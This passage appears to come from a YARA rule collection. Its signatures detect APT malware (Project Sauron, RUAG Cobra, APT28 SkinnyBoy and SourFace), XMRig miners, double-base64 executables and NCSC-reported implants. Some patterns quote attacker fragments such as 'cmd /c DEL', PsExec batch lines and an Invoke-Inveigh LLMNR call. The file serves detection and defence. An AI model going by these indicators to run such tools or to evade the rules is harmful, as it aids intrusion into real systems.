		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		id = "d69373e0-d6ad-5475-8766-06e865620ed8"

	strings:
		$x1 = "Assemble rows of DNS names back to a single string of data"
		$x2 = "removes checks of DNS names and lengths (during split)"
		$x3 = "Randomize data lengths (length/2 to length)"
		$x4 = "This cruft"

	condition:
		2 of them
}

rule Hacktool_This_Cruft
{
	meta:
		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-08"
		score = 60
		id = "a39de541-19b5-5b7e-a3dc-51a5309181e5"

	strings:
		$x1 = "This cruft" fullword

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and $x1 )
}

rule APT_Project_Sauron_Custom_M1
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
		id = "c741bd7d-1885-55f1-a5b3-8f00fda2fe39"

	strings:
		$s1 = "ncnfloc.dll" fullword wide
		$s4 = "Network Configuration Locator" fullword wide
		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
		$op1 = { 80 75 29 85 c9 79 25 b9 01 }
		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( all of ( $s* ) ) and 1 of ( $op* ) ) or ( all of them )
}

rule APT_Project_Sauron_Custom_M2
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
		id = "79abe5f2-a750-5018-a67f-6ee1c51a2ca1"

	strings:
		$s2 = "\\*\\3vpn" ascii
		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 }
		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff }
		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( all of ( $s* ) ) and all of ( $op* ) )
}

rule APT_Project_Sauron_Custom_M3
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
		id = "555b37a2-6a3c-539f-81dc-24c739795510"

	strings:
		$s1 = "ExampleProject.dll" fullword ascii
		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba }
		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 }
		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) ) and all of ( $op* ) )
}

rule APT_Project_Sauron_Custom_M4
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
		id = "32717ace-ff56-5b5b-8ed9-4bb353886eea"

	strings:
		$s1 = "xpsmngr.dll" fullword wide
		$s2 = "XPS Manager" fullword wide
		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 }
		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b }
		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and ( all of ( $s* ) ) and 1 of ( $op* ) ) or ( all of them )
}

rule APT_Project_Sauron_Custom_M6
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
		id = "1aa6dd43-52ac-5321-9941-767833073c37"

	strings:
		$s1 = "rseceng.dll" fullword wide
		$s2 = "Remote Security Engine" fullword wide
		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 }
		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
		$op2 = { 80 75 29 85 c9 79 25 b9 01 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( all of ( $s* ) ) and 1 of ( $op* ) ) or ( all of them )
}

rule APT_Project_Sauron_Custom_M7
{
	meta:
		description = "Detects malware from Project Sauron APT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/eFoP4A"
		date = "2016-08-09"
		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
		id = "c5e83e1a-872d-53b3-a74a-b1a9b4a89168"

	strings:
		$sx1 = "Default user" fullword wide
		$sx2 = "Hincorrect header check" fullword ascii
		$sa1 = "MSAOSSPC.dll" fullword ascii
		$sa2 = "MSAOSSPC.DLL" fullword wide
		$sa3 = "MSAOSSPC" fullword wide
		$sa4 = "AOL Security Package" fullword wide
		$sa5 = "AOL Security Package" fullword wide
		$sa6 = "AOL Client for 32 bit platforms" fullword wide
		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 }
		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 }
		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b }
		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 }
		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 }
		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( ( 3 of ( $s* ) and 3 of ( $op* ) ) or ( 1 of ( $sx* ) and 1 of ( $sa* ) ) )
}

rule SUSP_Base64_Encoded_Hex_Encoded_Code
{
	meta:
		author = "Florian Roth (Nextron Systems)"
		description = "Detects hex encoded code that has been base64 encoded"
		date = "2019-04-29"
		score = 65
		reference = "https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/"
		id = "2cfd278f-ff45-5e23-b552-dad688ab303b"

	strings:
		$x1 = { 78 34 4e ?? ?? 63 65 44 ?? ?? 58 48 67 }
		$x2 = { 63 45 44 ?? ?? 58 48 67 ?? ?? ?? 78 34 4e }
		$fp1 = "Microsoft Azure Code Signp$"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule SUSP_Double_Base64_Encoded_Executable
{
	meta:
		description = "Detects an executable that has been encoded with base64 twice"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/TweeterCyber/status/1189073238803877889"
		date = "2019-10-29"
		hash1 = "1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9"
		id = "6fb40ed3-1afc-5d5b-9373-4a8490177b20"

	strings:
		$ = "VFZwVEFRR" ascii wide
		$ = "RWcFRBUU" ascii wide
		$ = "UVnBUQVFF" ascii wide
		$ = "VFZvQUFBQ" ascii wide
		$ = "RWb0FBQU" ascii wide
		$ = "UVm9BQUFB" ascii wide
		$ = "VFZxQUFBR" ascii wide
		$ = "RWcUFBQU" ascii wide
		$ = "UVnFBQUFF" ascii wide
		$ = "VFZwUUFBS" ascii wide
		$ = "RWcFFBQU" ascii wide
		$ = "UVnBRQUFJ" ascii wide
		$ = "VFZxUUFBT" ascii wide
		$ = "RWcVFBQU" ascii wide
		$ = "UVnFRQUFN" ascii wide

	condition:
		1 of them
}

rule SUSP_Reversed_Base64_Encoded_EXE : FILE
{
	meta:
		description = "Detects an base64 encoded executable with reversed characters"
		author = "Florian Roth (Nextron Systems)"
		date = "2020-04-06"
		reference = "Internal Research"
		score = 80
		hash1 = "7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8"
		id = "3b52e59e-7c0a-560f-8123-1099c52e7e3d"

	strings:
		$s1 = "AEAAAAEQATpVT"
		$s2 = "AAAAAAAAAAoVT"
		$s3 = "AEAAAAEAAAqVT"
		$s4 = "AEAAAAIAAQpVT"
		$s5 = "AEAAAAMAAQqVT"
		$sh1 = "SZk9WbgM1TEBibpBib1JHIlJGI09mbuF2Yg0WYyd2byBHIzlGaU" ascii
		$sh2 = "LlR2btByUPREIulGIuVncgUmYgQ3bu5WYjBSbhJ3ZvJHcgMXaoR" ascii
		$sh3 = "uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV" ascii

	condition:
		filesize < 10000KB and 1 of them
}

rule SUSP_Script_Base64_Blocks_Jun20_1
{
	meta:
		description = "Detects suspicious file with base64 encoded payload in blocks"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://posts.specterops.io/covenant-v0-5-eee0507b85ba"
		date = "2020-06-05"
		score = 70
		id = "cef759a5-b02a-53e7-bf27-184eee6bc3fa"

	strings:
		$sa1 = "<script language=" ascii
		$sb2 = { 41 41 41 22 2B 0D 0A 22 41 41 41 }

	condition:
		all of them
}

rule SUSP_Reversed_Hacktool_Author : FILE
{
	meta:
		description = "Detects a suspicious path traversal into a Windows folder"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/"
		date = "2020-06-10"
		score = 65
		id = "33e20d75-af07-5df2-82c3-c48aec37a947"

	strings:
		$x1 = "iwiklitneg" fullword ascii wide
		$x2 = " eetbus@ " ascii wide

	condition:
		filesize < 4000KB and 1 of them
}

rule SUSP_Base64_Encoded_Hacktool_Dev
{
	meta:
		description = "Detects a suspicious base64 encoded keyword"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1270626274826911744"
		date = "2020-06-10"
		score = 65
		id = "6dc7db4b-a614-51e4-a9a5-f869154dbbb1"

	strings:
		$ = "QGdlbnRpbGtpd2" ascii wide
		$ = "BnZW50aWxraXdp" ascii wide
		$ = "AZ2VudGlsa2l3a" ascii wide
		$ = "QGhhcm1qMH" ascii wide
		$ = "BoYXJtajB5" ascii wide
		$ = "AaGFybWowe" ascii wide
		$ = "IEBzdWJ0ZW" ascii wide
		$ = "BAc3VidGVl" ascii wide
		$ = "gQHN1YnRlZ" ascii wide

	condition:
		filesize < 6000KB and 1 of them
}

rule RUAG_Tavdig_Malformed_Executable
{
	meta:
		description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/N5MEj0"
		score = 60
		id = "da6357d4-0cdb-5f30-9919-59858963cc41"

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x0000AD0B
}

rule RUAG_Bot_Config_File
{
	meta:
		description = "Detects a specific config file used by malware in RUAG APT case"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/N5MEj0"
		score = 60
		id = "aa3d5f9e-0b23-5180-9e52-a7d705712747"

	strings:
		$s1 = "[CONFIG]" ascii
		$s2 = "name = " ascii
		$s3 = "exe = cmd.exe" ascii

	condition:
		uint32( 0 ) == 0x4e4f435b and $s1 at 0 and $s2 and $s3 and filesize < 160
}

rule RUAG_Cobra_Malware
{
	meta:
		description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/N5MEj0"
		score = 60
		id = "dd2d591f-6f56-5c31-9f3c-3aa7d174c9a0"

	strings:
		$s1 = "\\Cobra\\Release\\Cobra.pdb" ascii

	condition:
		uint16( 0 ) == 0x5a4d and $s1
}

rule RUAG_Cobra_Config_File
{
	meta:
		description = "Detects a config text file used by malware Cobra in RUAG case"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/N5MEj0"
		score = 60
		id = "b3899d95-acc9-55ca-9025-edecce755ca6"

	strings:
		$h1 = "[NAME]" ascii
		$s1 = "object_id=" ascii
		$s2 = "[TIME]" ascii fullword
		$s3 = "lastconnect" ascii
		$s4 = "[CW_LOCAL]" ascii fullword
		$s5 = "system_pipe" ascii
		$s6 = "user_pipe" ascii
		$s7 = "[TRANSPORT]" ascii
		$s8 = "run_task_system" ascii
		$s9 = "[WORKDATA]" ascii
		$s10 = "address1" ascii

	condition:
		uint32( 0 ) == 0x4d414e5b and $h1 at 0 and 8 of ( $s* ) and filesize < 5KB
}

rule RUAG_Exfil_Config_File
{
	meta:
		description = "Detects a config text file used in data exfiltration in RUAG case"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/N5MEj0"
		score = 60
		id = "7057bc7b-7f8c-5db8-b7f3-f6c33487b122"

	strings:
		$h1 = "[TRANSPORT]" ascii
		$s1 = "system_pipe" ascii
		$s2 = "spstatus" ascii
		$s3 = "adaptable" ascii
		$s4 = "post_frag" ascii
		$s5 = "pfsgrowperiod" ascii

	condition:
		uint32( 0 ) == 0x4152545b and $h1 at 0 and all of ( $s* ) and filesize < 1KB
}

rule APT28_CHOPSTICK
{
	meta:
		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/v3ebal"
		date = "2015-06-02"
		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
		score = 60
		id = "08bc4cc2-1844-5218-bb89-20a3ac70a951"

	strings:
		$s0 = "jhuhugit.tmp" fullword ascii
		$s8 = "KERNEL32.dll" fullword ascii
		$s9 = "IsDebuggerPresent" fullword ascii
		$s10 = "IsProcessorFeaturePresent" fullword ascii
		$s11 = "TerminateProcess" fullword ascii
		$s13 = "DeleteFileA" fullword ascii
		$s15 = "GetProcessHeap" fullword ascii
		$s16 = "!This program cannot be run in DOS mode." fullword ascii
		$s17 = "LoadLibraryA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 722KB and all of them
}

rule APT28_SourFace_Malware1
{
	meta:
		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
		date = "2015-06-01"
		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
		score = 60
		id = "d4275b8d-384f-58b7-bac5-05fb7db659e2"

	strings:
		$s0 = "coreshell.dll" fullword wide
		$s1 = "Core Shell Runtime Service" fullword wide
		$s2 = "\\chkdbg.log" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 62KB and all of them
}

rule APT28_SourFace_Malware2
{
	meta:
		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
		date = "2015-06-01"
		super_rule = 1
		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
		score = 60
		id = "8a9df742-82c1-56bb-ab70-6384403f70b5"

	strings:
		$s0 = "coreshell.dll" fullword ascii
		$s1 = "Applicate" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 550KB and all of them
}

rule APT28_SourFace_Malware3
{
	meta:
		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
		date = "2015-06-01"
		super_rule = 1
		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
		score = 60
		id = "b49843b9-3a54-5525-958e-ac545cc00bde"

	strings:
		$s0 = "coreshell.dll" fullword wide
		$s1 = "Core Shell Runtime Service" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 550KB and all of them
}

rule APT28_SkinnyBoy_Dropper : RUSSIA
{
	meta:
		description = "Detects APT28 SkinnyBoy droppers"
		author = "Cluster25"
		date = "2021-05-24"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
		id = "ed0b2d2b-f820-57b5-9654-c24734d81996"

	strings:
		$ = "cmd /c DEL " ascii
		$ = {8a 08 40 84 c9 75 f9}
		$ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}

	condition:
		( uint16( 0 ) == 0x5A4D and all of them )
}

rule APT28_SkinnyBoy_Launcher : RUSSIA
{
	meta:
		description = "Detects APT28 SkinnyBoy launchers"
		author = "Cluster25"
		date = "2021-05-24"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
		id = "eaf4e8e5-cbec-5000-a2ff-31d1dac4c30f"

	strings:
		$sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
      13 2C 6D 07 6F 86}
		$l1 = "CryptGetHashParam" ascii
		$l2 = "CryptCreateHash" ascii
		$l3 = "FindNextFile" ascii
		$l4 = "PathAddBackslashW" ascii
		$l5 = "PathRemoveFileSpecW" ascii
		$h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
      56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
		$h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( $sha or ( all of ( $l* ) and all of ( $h* ) ) )
}

import "pe"

rule APT28_SkinnyBoy_Implanter : RUSSIA
{
	meta:
		description = "Detects APT28 SkinnyBoy implanter"
		author = "Cluster25"
		date = "2021-05-24"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
		id = "c44faf95-a64c-58f4-97d4-2fe17aefc813"

	strings:
		$enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D
      85 [4] 6A ?? 50 66 [7] E8}
		$heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?}
		$xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 }

	condition:
		uint16( 0 ) == 0x5a4d and pe.is_dll ( ) and filesize < 100KB and $xor_cycle and $heap_ops and $enc_string
}

rule XMRIG_Monero_Miner : HIGHVOL
{
	meta:
		description = "Detects Monero mining software"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/xmrig/xmrig/releases"
		date = "2018-01-04"
		modified = "2022-11-10"
		modified = "2022-11-10"
		hash1 = "5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0"
		hash2 = "08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7"
		hash3 = "f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5"
		hash4 = "0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2"
		id = "71bf1b9c-c806-5737-83a9-d6013872b11d"

	strings:
		$s1 = "'h' hashrate, 'p' pause, 'r' resume" fullword ascii
		$s2 = "--cpu-affinity" ascii
		$s3 = "set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" ascii
		$s4 = "password for mining server" fullword ascii
		$s5 = "XMRig/%s libuv/%s%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and filesize < 10MB and 2 of them
}

rule XMRIG_Monero_Miner_Config
{
	meta:
		description = "Auto-generated rule - from files config.json, config.json"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/xmrig/xmrig/releases"
		date = "2018-01-04"
		hash1 = "031333d44a3a917f9654d7e7257e00c9d961ada3bee707de94b7c7d06234909a"
		hash2 = "409b6ec82c3bdac724dae702e20cb7f80ca1e79efa4ff91212960525af016c41"
		id = "374efe7f-9ef2-5974-8e24-f749183ab2d0"

	strings:
		$s2 = "\"cpu-affinity\": null,   // set process affinity to CPU core(s), mask \"0x3\" for cores 0 and 1" fullword ascii
		$s5 = "\"nicehash\": false                  // enable nicehash/xmrig-proxy support" fullword ascii
		$s8 = "\"algo\": \"cryptonight\",  // cryptonight (default) or cryptonight-lite" fullword ascii

	condition:
		( uint16( 0 ) == 0x0a7b or uint16( 0 ) == 0x0d7b ) and filesize < 5KB and 1 of them
}

rule PUA_LNX_XMRIG_CryptoMiner
{
	meta:
		description = "Detects XMRIG CryptoMiner software"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-06-28"
		modified = "2023-01-06"
		hash1 = "10a72f9882fc0ca141e39277222a8d33aab7f7a4b524c109506a407cd10d738c"
		id = "bbdeff2e-68cc-5bbe-b843-3cba9c8c7ea8"

	strings:
		$x1 = "number of hash blocks to process at a time (don't set or 0 enables automatic selection o" fullword ascii
		$s2 = "'h' hashrate, 'p' pause, 'r' resume, 'q' shutdown" fullword ascii
		$s3 = "* THREADS:      %d, %s, aes=%d, hf=%zu, %sdonate=%d%%" fullword ascii
		$s4 = ".nicehash.com" ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 8000KB and ( 1 of ( $x* ) or 2 of them )
}

rule SUSP_XMRIG_String
{
	meta:
		description = "Detects a suspicious XMRIG crypto miner executable string in filr"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-12-28"
		hash1 = "eb18ae69f1511eeb4ed9d4d7bcdf3391a06768f384e94427f4fc3bd21b383127"
		id = "8c6f3e6e-df2a-51b7-81b8-21cd33b3c603"

	strings:
		$x1 = "xmrig.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule Bytes_used_in_AES_key_generation
{
	meta:
		author = "NCSC"
		description = "Detects Backdoor.goodor"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
		id = "26a549dd-cbd2-5abc-8d9d-5ea354d0ece8"

	strings:
		$a1 = {35 34 36 35 4B 4A 55 54 5E 49 55 5F 29 7B 68 36 35 67 34 36 64 66 35 68}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of ( $a* )
}

rule Partial_Implant_ID
{
	meta:
		author = "NCSC"
		description = "Detects implant from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
		id = "15144f4a-2c96-57f0-b7e9-adbac477c38a"

	strings:
		$a1 = {38 38 31 34 35 36 46 43}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of ( $a* )
}

rule Sleep_Timer_Choice
{
	meta:
		author = "NCSC"
		description = "Detects malware from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
		id = "c64db0dd-2858-5508-ac51-d3318113a060"

	strings:
		$a1 = {8b0424b90f00000083f9ff743499f7f98d420f}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of ( $a* )
}

rule User_Function_String
{
	meta:
		author = "NCSC"
		description = "Detects user function string from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
		id = "563ac6af-6b37-53c6-ae13-d97e31edb088"

	strings:
		$a2 = "e.RandomHashString"
		$a3 = "e.Decode"
		$a4 = "e.Decrypt"
		$a5 = "e.HashStr"
		$a6 = "e.FromB64"

	condition:
		4 of ( $a* )
}

rule generic_shellcode_downloader_specific
{
	meta:
		author = "NCSC"
		description = "Detects Doorshell from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b8bc0611a7fd321d2483a0a9a505251e15c22402e0cfdc62c0258af53ed3658a"
		id = "ddd25add-ff84-5106-ac3c-5d5b4c1ef2a9"

	strings:
		$push1 = {68 6C 6C 6F 63}
		$push2 = {68 75 61 6C 41}
		$push3 = {68 56 69 72 74}
		$a = {BA 90 02 00 00 46 C1 C6 19 03 DD 2B F4 33 DE}
		$b = {87 C0 81 F2 D1 19 89 14 C1 C8 1F FF E0}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3C ) ) == 0x4550 ) and ( $a or $b ) and @push1 < @push2 and @push2 < @push3
}

rule Batch_Script_To_Run_PsExec
{
	meta:
		author = "NCSC"
		description = "Detects malicious batch file from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "b7d7c4bc8f9fd0e461425747122a431f93062358ed36ce281147998575ee1a18"
		id = "1fbeeec8-a5bd-569e-b435-c7d82d32e47b"

	strings:
		$ = "Tokens=1 delims=" ascii
		$ = "SET ws=%1" ascii
		$ = "Checking %ws%" ascii
		$ = "%TEMP%\\%ws%ns.txt" ascii
		$ = "ps.exe -accepteula" ascii

	condition:
		3 of them
}

rule Batch_Powershell_Invoke_Inveigh
{
	meta:
		author = "NCSC"
		description = "Detects malicious batch file from NCSC report"
		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
		date = "2018/04/06"
		hash = "0a6b1b29496d4514f6485e78680ec4cd0296ef4d21862d8bf363900a4f8e3fd2"
		id = "c5dab029-6515-5d58-9ccd-bf438ba692d5"

	strings:
		$ = "Inveigh.ps1" ascii
		$ = "Invoke-Inveigh" ascii
		$ = "-LLMNR N -HTTP N -FileOutput Y" ascii
		$ = "powershell.exe" ascii

	condition:
		all of them
}

rule lnk_detect
{
	meta:
		author = "NCSC"
		description = "Detects malicious LNK file from NCSC report"
